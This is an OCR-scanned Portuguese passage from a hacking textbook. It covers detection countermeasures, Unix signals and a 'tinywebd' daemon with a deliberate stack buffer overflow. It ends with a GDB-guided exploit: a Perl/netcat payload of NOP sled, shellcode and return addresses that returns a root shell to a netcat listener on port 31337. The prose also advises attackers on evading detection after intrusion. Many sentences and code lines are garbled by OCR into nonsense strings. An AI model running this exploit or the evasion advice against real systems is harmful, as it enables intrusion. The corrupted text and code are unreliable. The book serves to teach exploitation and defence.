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MEDIDAS DEFENSIVAS

O sapo dourado com dardo venenoso (Phyllobates terribilis) secreta
um veneno extremamente téxico — um sapo pode secretar veneno o
suficiente para matar dez homens adultos. A Unica razao pela qual esses
sapos possuem essa defesa extraordinariamente poderosa, é que algumas
espécies de cobra eram suas predadoras, e elas acabaram desenvolvendo
uma resisténcia ao veneno. Emresposta, os sapos passaram a desenvolver
venenos cada vez mais fortes como forma de defesa. O resultado dessa
coevolugao é que os sapos estao seguros contra todos os outros predado-
res. Esse tipo de coevolugao também ocorre com os hackers. Suas técnicas
de exploit ja existem ha anos, entao é natural que as medidas defensivas
se desenvolveriam. Em resposta, os hackers encontraram caminhos para
ultrapassar e subverter essas defesas, e entdao novas técnicas de defesa
foram criadas. Esse ciclo de inovagoes é bastante benéfico. Mesmo que
virus e worms possam causar problemas e interrupgdes onerosas para os
negocios, eles forcam uma resposta, que resolve o problema. Os worms
se replicam pela exploracao de vulnerabilidades existentes em softwares
com falhas de seguranca. Frequentemente essas imperfeicoes nao sao
descobertas por anos, mas worms relativamente benignos, tais como o
CodeRed ou o Sasser, fazem com que esses problemas sejam consertados.



Como com uma catapora, € melhor sofrer um surto cedo aoinvés de anos
mais tarde, quando o dano pode ser ainda maior. Se nao fosse pelos worms
da Internet fazendo um espetaculo publico dessas falhas de seguranga,
elas poderiam permanecer sem uma solucao, amm«m.zao-:omw vulneraveis
a um ataque de alguém com finalidades mais maliciosas do que apenas
uma replicagao do worm. Desse modo, os worms e <F:w qmm_Bm:ﬂ.m podem
fortalecer a seguranga em longo prazo. Contudo, mx_mﬁm.B maneiras mais
pré-ativas de fortalecer a seguranga. As medidas n_m*m:mzmm existem para
tentar anular o efeito de um ataque, ou evitar a ocorréncia de um. Uma
medida defensiva € um conceito um tanto abstrato; ela poderia ser um
produto de seguranga, um conjunto de politicas, um programa, ou apenas
um administrador de seguranca. Essas medidas defensivas podem ser
divididas em dois grupos: aquelas que tentam detectar o ataque e aquelas
que tentam proteger a vulnerabilidade.

0x610 Medidas defensivas de deteccao

O primeiro grupo de medidas defensivas tenta Qwﬁmoﬁmq o.::Emo e
responder de alguma forma. O processo de deteccao poderia ser um
administrador lendo logs para um programa suspeito na rede. A respos-
ta poderia incluir o encerramento da conexao ou do processo de *o.::m
automatica, ou apenas com o administrador examinando tudo a partir do
console da maquina. )

Como um administrador de sistema, os exploits que vocé conhece sao
tao perigosos quanto aqueles que vocé néo conhece. Quanto mais &J_ao
a invasao é detectada, mais rapida ela pode ser tratada e mais provavel
sera a sua contencao. As invasdes que nao sao descobertas por meses
sao um motivo de preocupacao. A forma de detectar uma invasao consiste
em antecipar o que o hacker pretende fazer para atacar. Se vocé mo:U.mﬂ
isso, entdo sabe o que procurar. As medidas defensivas de detec¢ao
podem procurar esses padroes de ataque em arquivos de log, pacotes
de rede ou até memoria de programa. Depois que a invaséo é QmﬁmnﬁmnP
o hacker pode ser expurgado do sistema, qualquer prejuizo no arquivo
de sistema pode ser desfeito por restauragéo a partir de um backup ea
vulnerabilidade explorada pode ser identificada e reparada. A detec¢ao
de medidas defensivas é bem poderosa em um mundo eletrénico com
backups e capacidades de restauracao.

Para o invasor, isso significa que a detec¢ao pode contra-atacar tudo
o que ele fizer. Visto que a detecgao nem sempre é imediata, ha m_m.czw
cenarios de “furto” em que isso nao importa; no entanto, mesmo assim €
melhor nao deixar pistas. Discrigdo é uma das mais valiosas :mE_Emawm
de um hacker. Explorando um programa vulneravel para obter a prote¢ao
original significa que vocé pode fazer o que quiser nesse sistema, mas
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evitar a deteccdo adicionalmente significa que ninguém sabe que vocé
estéa la. A combinacéo do “God mode” contribui para a invisibilidade de
um hacker perigoso. A partir de uma posi¢do oculta, senhas e informacades
podem ser farejadas silenciosamente a partir da rede, programas podem
serinvadidos e outros ataques podem ser langados em outros hosts. Para
continuar escondido, vocé precisa antecipar os métodos de detecgéo que
poderiam ser usados. Se vocé sabe o que eles estdo procurando, vocé
pode evitar determinados padroes de exploragéo ou disfarce vélidos. O
ciclo coevolutivo entre ocultar e detectar é alimertado pelo pensamento
nas coisas que o outro lado ainda nao pensou.

0x620 Daemons de sistema

Para ter uma discusséo realista de medidas defensivas de exploracao
e métodos de invasao, primeiro precisamos de um alvo de exploracgao de
vulnerabilidades realista. Um alvo remoto serd um programa servidor que
aceita conexdes de entrada. No Unix, esses programas sao geralmente
chamados de daemons de sistema. Um daemon consiste em um progra-
ma que é executado em segundo plano e, de certa forma, funciona de
forma independente do terminal de controle. O termo daemon foi cunhado
pelos hackers do MIT na década de 1960. Ele se refere a um deménio de
ordenagao de molécula, a partir de um experimento de 1867, criado pelo
fisico James Maxwell. Nesse experimento, o demonio de Maxwell é uma
criatura com a habilidade sobrenatural de executar tarefas dificeis sem
nenhum esfor¢o, aparentemente violando a segunda lei da termodinamica.
De forma similar, no Linux, o daemon de sistema executa tarefas de forma
incessante, como as de fornecer um servico SSH e manter os sistemas
de logs. Os programas daemon normalmente terminam com um d para
indicar que sao daemons, como sshd ou sys/ogd.

Com algumas adicoes, o codigo tinyweb.c pode se transformar em um
daemon de sistema mais realista. Esse novo codigo utiliza uma chamada
para a fun¢ao daemon (), que resulta em um novo processo de segundo
plano. Essa funcao é usada por muitos processos do sistema daemon no
Linux, e sua pagina do manual é mostrada a seguir.

DAEMON (3) Linux Programmer’s Manual DAEMON (3)

daemon - run in the background

SYNOPSIS

#include <unistd.h>

int daemon(int nochdir, int noclose);
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DESCRIPTION

The daemon() function is for programs wishing to detach themselves fy
the controlling terminal and run in the background as system ammaonwa

c:.fwm.,.m the argument nochdir is non-zero, daemon() changes the curr
working directory to the root (“/”). o

Cswmmm the argument noclose is non-zero, daemon() will redirect standard
input, standard output and standard error to /dev/null.

RETURN VALUE
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(This function forks, and if the fork() succeeds, the parent does

exit(0), so that further errors are seen by the child only.) On success
zero will be returned. If an error occurs, daemon() returns -1 and mmMm
the global variable errno to any of the errors specified for the libr §
functions fork(2) and setsid(2). o

Os daemons de sistema sao executados independente de um terminal
de oo::.o_m. de forma que o novo cédigo do daemon tinyweb grava em
um arquivo de log. Sem um terminal de controle, os daemons de sistema
mmE_BmBm sao controlados por sinais. O novo programa daemon tinyweb
u_‘mo_mm& capturar o sinal de finalizagao, assim ele pode ser encerrado
perfeitamente quando for interrompido.

0x621 Curso intensivo sobre sinais

Os .mm:mmm proporcionam um método de comunicagao interprocesso
no Unix. Quando um processo recebe um sinal, seu fluxo de execucao
m._:ﬁm_._dBUEo pelo sistema operacional para chamar um operador de
sinal. Os sinais sao identificados por um néimero, e cada um possui um
ovmq.maoq de sinal padrao. Por exemplo, quando CTRL + C é digitado no
terminal de controle de um programa, um sinal de interrupgéo é enviado
com um operador de sinal padrao que sai do programa. Isso permite ncm
0 programa seja interrompido, mesmo se ele travar em um loop infinito.

Operadores de sinal customizados podem ser registrados utilizando-
sea ?:mmo signal().No cédigo do exemplo a seguir, varios operadores
aw m._:m_ sao registrados para determinados sinais, considerando que o
codigo principal contém um loop infinito.

signal_example.c

#include <stdio.h>

#include <stdlib.h>

#include <signal.h>

/* Some labeled signal defines from signal.h
* #define SIGHUP 1 Hangup

* #define SIGINT 2 Interrupt (Ctrl-C)

* #define SIGQUIT 3 Quit (Ctrl-\)
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#define SIGILL 4 Illegal instruction

#define SIGTRAP 5 Trace/breakpoint trap

$define SIGABRT 6 Process aborted

#define SIGBUS 7 Bus error

$define SIGFPE 8 Floating point error

#define SIGKILL 9 Kill

$define SIGUSR1 10 User defined signal 1

#define SIGSEGV 11 Segmentation fault

$define SIGUSR2 12 User defined signal 2

#define SIGPIPE 13 Write to pipe with no one reading
#define SIGALRM 14 Countdown alarm set by alarm()

$define SIGTERM 15 Termination (sent by kill command)
#define SIGCHLD 17 Child process signal

* $define SIGCONT 18 Continue if stopped

#define SIGSTOP 19 Stop (pause execution)

$define SIGTSTP 20 Terminal stop [suspend] (Ctrl-Z)

* $define SIGTTIN 21 Background process trying to read stdin
* $define SIGTTOU 22 Background process trying to read stdout
*/

P

*

*

*

/* Um operador de sinais */
void signal _handler(int signal) {
printf(“Caught signal %d\t”, signal);

if (signal == SIGTSTP)
printf(“SIGTSTP (Ctrl-z)”);

else if (signal == SIGQUIT)
printf (“SIGQUIT (Ceri=\\)}");

else if (signal == SIGUSR1)
printf(“SIGUSR1”);

else if (signal == SIGUSR2)
printf(“SIGUSR2");

printf(™\n”);

void sigint _handler(int x) {
printf(“Caught a Ctrl-C (SIGINT) in a separate handler\nExiting.\n”);

exit(0);

int main() |
/* Registering signal handlers */
signal (SIGQUIT, signal _ handler); // Define signal _handler() como
signal (SIGTSTP, signal _ handler); // o operador de sinais desses
signal (SIGUSR1, signal _handler); // sinais.
signal (SIGUSR2, signal _handler);

signal (SIGINT, sigint _handler); // Define sigint _handler() para SIGINT.

while(l) {} // Loop infinito.

Quando esse programa é compilado e executado, os operadores de
sinal sdo registrados, e o programa entra em um loop infinito. Mesmo que
o programa esteja travado na reiteracao, sinais que chegam irdo interrom-
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reader@hacking:~/booksrc $ kill -1

47)
51)
55)
59)
63)

reader@hacking:~/booksrc $ Ps a | grep signal _ example
24491 pts/3 R+ 0:17 ./signal _example

24512 pts/1 S+ 0:00 grep signal _ example
reader@hacking:~/booksrc $ kill -10 24491
reader@hacking:~/booksrc $ kill -12 24491
reader@hacking:~/booksrc $ kill -9 24491
reader@hacking:~/booksrc $
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per a execugao e chamar os operadores de sinal registrados. Na Said
a seguir, os sinais que podem ser disparados a partir de um terminal gg
controle s&o usados. A fungédo signal _ handler(), quando terminada
retorna a execugao para a reiteragdo interrompida, ja que a fungao mE,.
nal _handler() sai do programa.

reader@hacking:~/booksrc $ gcc -o signal _example wwazmwl.mxmawpmA
reader@hacking:~/booksrc $ ./signal _ example

Caught signal 20 SIGTSTP (Ctri-z)

Caught signal 3 SIGQUIT (Ctrl-\)

Caught a Ctrl-C (SIGINT) in a separate handler

Exiting.

reader@hacking:~/booksrc $

Os sinais especificos podem ser enviados para um processo usandg
0 comando kill. Por padrdo, o comando kill envia o sinal determinado
(SIGTERM) para um processo. Com o parédmetro da linha de comando -1,0
kill faz uma listagem de todos os sinais possiveis. Na saida a seguir, os
sinais SIGUSR1 e SIGUSR2 s&o enviados para o programa signal_example
que esta sendo executado em outro terminal.

SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL
SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE
SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2
SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT
SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU
SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH
SIGIO 30) SIGPWR 31) SIGSYS 34) SIGRTMIN
SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 38) SIGRTMIN+4
SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12
SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14
SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10
SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6
SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
SIGRTMAX-1 64) SIGRTMAX

Finalmente o sinal STGKILL é enviado utilizando o kill -9. Esse opera-
dor de sinal ndo pode ser mudado, assim ki1l -9 sempre pode ser usado
para matar processos. Em outro terminal, o programa signal_example
que esta em execugdo mostra os sinais assim que eles sdo capturados e
O processo € interrompido.

reader@hacking:~/booksrc $ ./signal _example
caught signal 10 SIGUSR1
caught signal 12 SIGUSR2

Killed
reader@hacking:~/booksrc $

Os sinais em si sao bem simples; contudo, a comunicagao _:553-
cesso pode rapidamente se tornar uma Web complexa de amum:am:nmmw.
Felizmente, no novo daemon tinyweb, os sinais sao apenas usados Para
uma concluséo limpa, assim a implementacao é simples.

0x622 Daemon Tinyweb

Essa versdo mais nova do programa tinyweb é um sistema QmmEOJ
que é executado em segundo plano em um terminal de controle. m_m. QGrava
sua saida para um arquivo de log de data e hora, e escuta esse Sinal ge
conclusao (SIGTERM), de forma que ele possa ser encerrado Umlm:mBm:Hm
quando for interrompido.

Esses acréscimos séo relativamente menores, mas eles fornecem um
alvo de exploragao muito mais realista. As novas porg¢oes do codigo sio
mostradas em negrito na listagem a seguir:

tinywebd.c

$include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <time.h>
#include <signal.h>
#include “hacking.h”
#include “hacking-network.h”

#define PORT 80 // A porta que os usudrios utilizam para se conectar
#define WEBROOT “./webroot” // ao diretério root do servidor Web
#define LOGFILE “/var/log/tinywebd.log” // Arquivo de log

int logfd, sockfd; // Descritores de log global e arquivo de socket

void handle connection(int, struct uonxuﬂﬂn.lwv *, int); .

int get mwmm.lmwnmﬁwzﬁv“ // Retorna o tamanho do arquivo do descritoy do
arquivo aberto

void timestamp(int);
aberto

// Grava um timestamp para o descritor do arquiyg

// Este método é chamado quando o processo é finalizado.
void handle _ shutdown(int signal) {
timestamp (logfd);
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write(logfd, “Shutting down.\n”, 16);
close (logfd);

close(sockfd);

exit(0);

int main(void) {

int new _ sockfd, yes=l;

struct sockaddr _in host _addr, client _addr; // Informagdo do mey
enderego

socklen _t sin _ size;

logfd = open(LOGFILE, O _WRONLY|O _ CREAT|O _ APPEND, S _ IRUSR|S _ IWUSR);
if(logfd == -1)
fatal(“opening log file”);

if ((sockfd = socket(PF _ INET, SOCK _ STREAM, 0)) == -1)
fatal(“in socket”);

if (setsockopt(sockfd, SOL _ SOCKET, SO _ REUSEADDR, &yes, sizeof(int)) == -1)
fatal(“setting socket option SO _ REUSEADDR");

printf(“Starting tiny web daemon.\n”);

if(daemon(l, 0) == -1) // Direciona para um processo daemon em segundo
plano.

fatal(“forking to daemon process”);

signal (SIGTERM, handle _ shutdown); // Chama handle _ shutdown quando interrompido.
signal (SIGINT, handle _ shutdown); // Chama handle _ shutdown quando interrompido.

timestamp (logfd);

write(logfd, “Starting up.\n”, 15);

host _addr.sin _ family = AF _INET; // Ordem de byte do host

host _ addr.sin _port = htons(PORT); // Ordem de byte de rede

host _addr.sin _ addr.s _ addr = INADDR _ ANY; // Preenche automaticamente com meu IP.
memset (& (host _ addr.sin _zero), ‘\0’, 8); // Zera o resto da struct.

if (bind(sockfd, (struct sockaddr *)&host _ addr, sizeof(struct sockaddr)) == -1)
fatal(“binding to socket”);

if (listen(sockfd, 20) == -1)
fatal(“listening on socket”);

while(l) { // Entra no loop.
sin _size = sizeof(struct sockaddr _in);
new _ sockfd = accept(sockfd, (struct sockaddr *)&client _addr, &sin _size);
if(new _sockfd == -1) B
fatal(“accepting connection”);

handle _ connection(new _ sockfd, &client _ addr, logfd);
}

return 0;

/* Este método manipula a conexdo sobre o socket passado a partir do

* passado enderego do cliente e logs para o FD passado. A conexdo é
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* processada como uma exigéncia da web e este método responde & socket conectada.
* Finalmente, a socket passada é fechada no final do método.
*/
void handle _ connection(int sockfd, struct sockaddr _in *client _ addr _ ptr,
int logfd) {
unsigned char *ptr, request([500], resource([500], log _ buffer[500];
int fd, length;

length = recv _ line(sockfd, request);

sprintf(log _ buffer, “From %s:%d \”$s\”\t”, inet IzbnOD (client _ addr _ ptr-
>sin _ addr), ntohs(client _ addr _ ptr->sin _ port), request);

ptr = strstr(request, « HTTP/»); // Busca solicitacdo valida.

if(ptr == NULL) { // N&o é um HTTP valida
strcat(log _ buffer, ™ NOT HTTP!\n”);
} else {

*ptr = 0; // Encerra o buffer no fim da URL.
ptr =NULL; // Define ptr como NULL (usado como flag para uma soliticagdo invalida).

if(strncmp (request, “GET %, 4) == 0) // Solicitagdo de Get
ptr = request+4; // ptr is the URL.

if(strncmp(request, “HEAD %, 5) == 0) // Solicitacdo de Head
ptr = request+5; // ptr é a URL.

if(ptr == NULL) { // Nao é uma solicitagdo reconhecida

strcat(log _buffer, ™ UNKNOWN REQUEST!\n”);
} else { // Solicitagédo valida, com ptr apontando para o nome do recurso

if (ptr([strlen(ptr) - 1] == ‘/’) // Para recursos finalizados com
4\\\
strcat(ptr, “index.html”); // adiciona ‘index.html’ ao final.
strcpy(resource, WEBROOT); // Inicia o recurso com o caminho raiz web
strcat(resource, ptr); // e o concatena com outros caminhos.
fd = open(resource, O _RDONLY, 0); // Tenta abrir o arquivo.
if(fd == -1) { // Se o arquivo ndo for encontrado
strcat(log _ buffer, “ 404 Not Found\n”);
send _ string(sockfd, “HTTP/1.0 404 NOT FOUND\r\n”);
send _ string(sockfd, “Server: Tiny webserver\r\n\r\n”);
send _ string(sockfd, “<html><head><title>404 Not Found</title></
head>");
send _ string(sockfd, “<body><hl>URL not found</h1></body></html>\
r\n”);

} else { // Caso contrario, sobe o arquivo para o servidor.
strcat(log _ buffer, “ 200 OK\n”);
send _ string(sockfd, “HTTP/1.0 200 OK\r\n”);
send _ string(sockfd, “Server: Tiny webserver\r\n\r\n”);

if(ptr == request + 4) { // Esta é uma solicitagdo de Get
if( (length = get file size(fd)) == -1)
fatal(“getting resource file size”);
if( (ptr = (unsigned char *) malloc(length)) == NULL)

fatal(“allocating memory for reading resource”);
read(fd, ptr, length); // L& o arquivo na memoéria.
send (sockfd, ptr, length, 0); // Envia-o ao socket.
free(ptr); // Libera a meméria do arquivo.
}
close(fd); // Fecha o arquivo.
}
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}

timestamp (logfd);
length = strlen(log _ buffer);
write (logfd, log _ buffer, length); // Grava no log.

shutdown (sockfd, SHUT _RDWR); // Fecha o socket.

/* Esta fungdo aceita um descritor do arquivo aberto e retorna
* o tamanho do arquivo associado. Retorna -1 se falhar.

*/

int get _file size(int fd) {
struct stat stat _ struct;

if(fstat(fd, &stat _struct) == -1)

return -1;

return (int) stat _ struct.st _size;

/* Este método escreve uma sequéncia timestamp para o arquivo descritivo aberto
* passado a ele.

*/

void timestamp (fd) {
time _ t now;
struct tm *time _ struct;
int length;
char time _ buffer[40];

time (&now); // Obtém a data corrente em segundos.

time _ struct = localtime((const time _ t *)&now); // Converte para struct tm.
length = strftime(time _ buffer, 40, “%m/%$d/%Y %H:%M:%S> “, time _ struct);
write(fd, time _ buffer, length); // Grava string de timestamp no log.
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Esse programa deamon se desloca para o segundo plano, grava em um
arquivo de log com data e hora, e sai perfeitamente quando é encerrado.
O descritor do arquivo de log e o socket de recebimento de conexao sao
declarados como globais, assim eles podem ser fechados perfeitamente
pela funcdo handler shutdown (). Essa funcdo € configurada como
um operador de retorno para os sinais de encerramento e interrupcao,
permitindo que o programa saia elegantemente quando encerrado com
o comando kill.

A saida a seguir mostra o programa compilado, executado e encerrado.
Note que o arquivo de log contém data e hora, bem como a mensagem
para fechar quando o programa captura o sinal determinado e chama a
funcao handler shutdown () para sair de forma elegante.

reader@hacking:~/booksrc $ gcc -o tinywebd tinywebd.c
reader@hacking:~/booksrc $ sudo chown root ./tinywebd
reader@hacking:~/booksrc $ sudo chmod u+s ./tinywebd
reader@hacking:~/booksrc $ ./tinywebd
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Starting tiny web daemon.

reader@hacking:~/booksrc $ ./webserver _id 127.0.0.1

The web server for 127.0.0.1 is Tiny webserver
reader@hacking:~/booksrc $ ps ax | grep tinywebd

25058 ? Ss 0:00 ./tinywebd

25075 pts/3 R+ 0:00 grep tinywebd
reader@hacking:~/booksrc $ kill 25058
reader@hacking:~/booksrc $ ps ax | grep tinywebd

25121 pts/3 R+ 0:00 grep tinywebd
reader@hacking:~/booksrc $ cat /var/log/tinywebd.log

cat: /var/log/tinywebd.log: Permission denied A
reader@hacking:~/booksrc $ sudo cat /var/log/tinywebd.log
07/22/2007 17:55:45> Starting up.

07/22/2007 17:57:00> From 127.0.0.1:38127 “HEAD / HTTP/1.0” 200 CK
07/22/2007 17:57:21> Shutting down.
reader@hacking:~/booksrc $

Este programa tinywebd apresenta o conteddo HTTP assim como o
programa tinyweb original, mas se comporta como um sistema daemon,
separando-se do terminal de controle e gravando em um arquivo de log.
Ambos programas sao vulneraveis ao mesmo tipo de exploit overflow;
contudo,o exploit é apenas o comeco. Utilizando o novo daemon tinyweb
como um alvo de exploragao mais realista, vocé aprendera como evitar
uma deteccao apos a invasao.

0x630 Ferramentas de negociacao

Com um alvo realista definido, vamos voltar para o lado do invasor.
Para esse tipo de ataque, scripts de exploit sdo uma ferramenta essencial
da negociacao. Como um kit de ferramentas para destrancar fechaduras
nas maos de um profissional, um exploit abre muitas portas para um
hacker. Através da manipulacao cuidadosa dos mecanismos internos, a
segurancga pode ser inteiramente deixada de lado.

Nos capitulos anteriores, nos escrevemos cédigos de exploit em C
e exploramos as vulnerabilidades manualmente a partir da linha de co-
mando. A linha ténue entre um programa de exploit e uma ferramenta de
exploit € uma questao de finalizacao e reconfigurabilidade. Os programas
de exploit sdo mais parecidos com armas do que com ferramentas. Como
uma arma, um programa de exploit tem uma Unica utilidade e a interface
do usuario é tdo simples quanto puxar um gatilho. Ambos sdo produtos
finalizados que podem ser usados por pessoas sem habilidade com resul-
tados perigosos. Em contraste, as ferramentas de exploit geralmente nao
sdo produtos finais, nem sao feitas para outras pessoas usarem. Com um
entendimento sobre programacao, é natural que um hacker comecaria a
escrever seus proprios scripts e ferramentas para ajudar na exploracgao.
Estas ferramentas personalizadas automatizam as tarefas mondtonas e
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facilitam o experimento. Como as ferramentas convencionais, elas podem
ser usadas para muitos propdsitos, estendendo a habilidade do usuério,

0x631 Ferramenta de exploit tinywebd

Para o daemon tinyweb, queremos uma ferramenta de exploit que nos
permita experimentar com as vulnerabilidades. Como no desenvolvimento
de nossas exploragdes anteriores, o GDB é usado primeiro para descobrir
detalhes da vulnerabilidade, como em deslocamentos. O deslocamento do
endereco de retorno serd o mesmo que no programa tinyweb.c original, mas
um programa daemon apresenta desafios adicionais. Achamada do daemon
desloca o processo, executando o resto do programa em um processo filho,
enquanto o processo pai sai. Na saida a seguir, o breakpoint é definido apés
a chamada de daemon (), mas o depurador nunca o atinge.

reader@hacking:~/booksrc $ gcc -g tinywebd.c
reader@hacking:~/booksrc $ sudo gdb -q ./a.out

warning: not using untrusted file “/home/reader/.gdbinit”
Using host libthread _db library “/lib/tls/i686/cmov/libthread _db.so.1”.
(gdb) list 47

42

43 if (setsockopt(sockfd, SOL _ SOCKET, SO _REUSEADDR, &yes, sizeof(int)) == -1)
44 fatal(“setting socket option SO REUSEADDR”);

45

46 printf(“Starting tiny web daemon.\n”);

47 if(daemon(l, 1) == -1) // Direciona para um processo daemon em segundo
plano.

48 fatal(“forking to daemon process”);

49

50 signal (SIGTERM, handle _ shutdown); // Chama handle _ shutdown quando
interrompido.

51 signal (SIGINT, handle _ shutdown); // Chama handle _ shutdown quando
interrompido.

(gdb) break 50

Breakpoint 1 at 0x8048e84: file tinywebd.c, line 50.
(gdb) run

Starting program: /home/reader/booksrc/a.out
Starting tiny web daemon.

Program exited normally
(gdb)

Quando o programa estd sendo executado, ele apenas é encerrado.
Para depurar esse programa, o GDB precisa ser informado para seguir o
processo filho, ao invés de seguir o pai. Isto é feito por meio da configuragéo
follow-fork-mode para o filho. Ap6s essa mudancga, o depurador seguira a
execuc¢ao dentro do processo filho, onde o breakpoint pode ser atingido.
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e Vi ——

(gdb) set follow-fork-mode child
(gdb) help set follow-fork-mode
Set debugger response to a program call of fork or vfork.

A fork or vfork creates a new process. follow-fork-mode can be:
parent - the original process is debugged after a fork
child - the new process is debugged after a fork

The unfollowed process will continue to run.

By default, the debugger will follow the parent process.

(gdb) run

Starting program: /home/reader/booksrc/a.out

Starting tiny web daemon.

[Switching to process 1051]

Breakpoint 1, main () at tinywebd.c:50

50 signal(SIGTERM, handle _ shutdown); // Chama handle _ shutdown quando
interrompido.
(gdb) quit

The program is running. Exit anyway? (y or n) y

reader@hacking:~/booksrc $ ps aux | grep a.out

root 911 0.0 0.0 1636 416 2 Ss 06:04 0:00 /home/reader/booksrc/a.out
reader 1207 0.0 0.0 2880 748 pts/2 R+ 06:13 0:00 grep a.out
reader@hacking:~/booksrc $ sudo kill 911

reader@hacking:~/booksrc $

E bom saber como depurar processos filhos, mas ja que nds precisa-
mos especificar os valores na pilha, € muito mais claro e facil anexar aum
processo em execucgao. Apés encerrar qualquer processo a.out perdido,
o daemon tinyweb é iniciado de volta e entao anexado ao GDB.

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon..

reader@hacking:~/booksrc $ ps aux | grep tinywebd

root 25830 0.0 0.0 1636 356 2 Ss 20:10 0:00 ./tinywebd
reader 25837 0.0 0.0 2880 748 pts/1 R+ 20:10 0:00 grep tinywebd
reader@hacking:~/booksrc $ gcc -g tinywebd.c
reader@hacking:~/booksrc $ sudo gdb -g—pid=25830 --symbols=./a.out

warning: not using untrusted file “/home/reader/.gdbinit”
Using host libthread _db library “/lib/tls/i686/cmov/libthread _db.so.1l”.
Attaching to process 25830
/cow/home/reader/booksrc/tinywebd: No such file or directory
A program is being debugged already. Kill it? (y or n) n
Program not killed.

(gdb) bt

#0 Oxb7fe77£2 in 2?2 ()

#1 0xb7f£691lel in 2?2 ()

#2 0x08048f87 in main () at tinywebd.c:68

(gdb) list 68

63 if (listen(sockfd, 20) == -1)

64 fatal(“listening on socket”);

65

66 while(l) { // Entra no loop

67 sin _size = sizeof(struct sockaddr _ in);

68 new _ sockfd = accept(sockfd, (struct sockaddr *)&client _addr, &sin _ size);
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69 if(new _ sockfd == -1)

70 fatal(“accepting connection”);
71
72 handle _ connection(new _ sockfd, &client _addr, logfd);

(gdb) list handle _ connection

77 /* Esta fungdo controla a conexdo do socket para o enderego do cliente o
78 * loga no FD passado. A conexdo é processada como uma solicitagdo web,
79 * e esta fungdo responde ao socket conectado. Finalmente, o socket é fechadog
80 * n o f i m d a f un ¢ & o
81 */

82 void handle _ connection(int sockfd, struct sockaddr _in *client _ addr
ptr, int logfd) { B

83 unsigned char *ptr, request[500], resource([500], log _ buffer([500];
84 int fd, length;

85

86 length = recv _ line(sockfd, request);

(gdb) break 86

Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86
(gdb) cont

Continuing.

A execugao pausa enquanto o daemon tinyweb espera por uma co-
nexao. Mais uma vez, a conexao é feita para o servidor Web usando um
navegador para adiantar a execucao do cédigo para um breakpoint.

Breakpoint 1, handle _ connection (sockfd=5, client _addr _ptr=0xbffff810) at
tinywebd.c:86

86 length = recv _ line(sockfd, request);

(gdb) bt

#0 handle _ connection (sockfd=5, client _addr _ ptr=0xbffff810, logfd=3) at
tinywebd.c:86

#1 0x08048fb7 in main () at tinywebd.c:72

(gdb) x/x request

Oxbffff5c0: 0x080484ec

(gdb) x/16x request + 500

Oxbffff7b4: 0xb7£fd5f£f4 0xb8000ce0 0x00000000 Oxbffff848
Oxbffffic4: 0xb7££9300 Oxb7fd5ff4 Oxbffff7e0 O0xb7£691cO
Oxbffff7d4: 0xb7£fd5ff4 Oxbffff848 0x08048fb7 0x00000005
Oxbffff7ed: Oxbffff810 0x00000003 Oxbffff838 0x00000004
(gdb) x/x Oxbffff7d4 + 8

Oxbffff7dc: 0x08048£b7

(gdb) p /x Oxbffff7dc - Oxbffff5c0

$1 = 0x2lc

(gdb) p Oxbffff7dc - Oxbffff5cO

$2 = 540

(gdb) p /x Oxbffff5c0 + 100
$3 = Oxbffff624

(gdb) quit
The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: , process 25830

reader@hacking:~/booksrc $

O depurador mostra que o buffer exigido inicia em 0xbffff5c0 e O
endereco de retorno armazenado estd em Oxbffff7dc, o que significa que
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o deslocamento é de 540 bytes. A posicao mais segura para o shellcode é
préxima ao meio do buffer solicitado de 500 bytes. Na saida a seguir, um
exploit de buffer é criado, posicionando o shellcode entre um sled NOP e
o endereco de retorno repetido 32 vezes. Os 128 bytes de enderecos de
retorno repetidos mantém o shellcode fora de uma memoria da pilha sem
seguranca, que poderia ser sobrescrita. Também existem bytes ndo-seguros
proximos ao inicio do buffer de exploragéo, que sera sobrescrito durante
uma finalizacdo nula. Para manter o shellcode fora desse alcance, um sled
NOP de 100 bytes é colocado na frente dele. Isso deixa uma zona segura
para o ponteiro de execugdo, com o shellcode em 0xbffffe24. A saida a
seguir explora a vulnerabilidade utilizando o shellcode de retorno.

reader@hacking:~/booksrc $ ./tinywebd

starting tiny web daemon.
reader@hacking:~/booksrc $ wc -c loopback _ shell
83 loopback _ shell

reader@hacking:~/booksrc $ echo $((540+4 - (32*4) - 83))
333

reader@hacking:~/booksrc $ nc -1 -p 31337 &

[1] 9835

reader@hacking:~/booksrc $ jobs

[1]+ Running nc -1 -p 31337 &

reader@hacking:~/booksrc $ (perl -e ‘print «\x90»x333’; cat loopback _ shell;
perl -e ‘print «\x24\xf6\xff\xbf»x32 . “\r\n”’) | nc -w 1 -v 127.0.0.1 80
localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ fg

nc -1 -p 31337

whoami

root

Uma vez que o deslocamento do enderecgo de retorno é de 540 bytes,
544 bytes sdo necessarios para sobrescrever o enderego. Com o shellco-
de de retorno de 83 bytes e o enderego de retorno sobrescrito repetido
32 vezes, uma aritmética simples mostra que o sled NOP precisa ter 333
bytes para alinhar tudo no buffer explorado de forma adequada. O netcat
est4 sendo executado no modo de escuta com um “&” junto do final, que
envia o processo para o segundo plano. Este identifica a conexao de volta
a partir do shellcode e pode ser retomado mais tarde com o comando £g
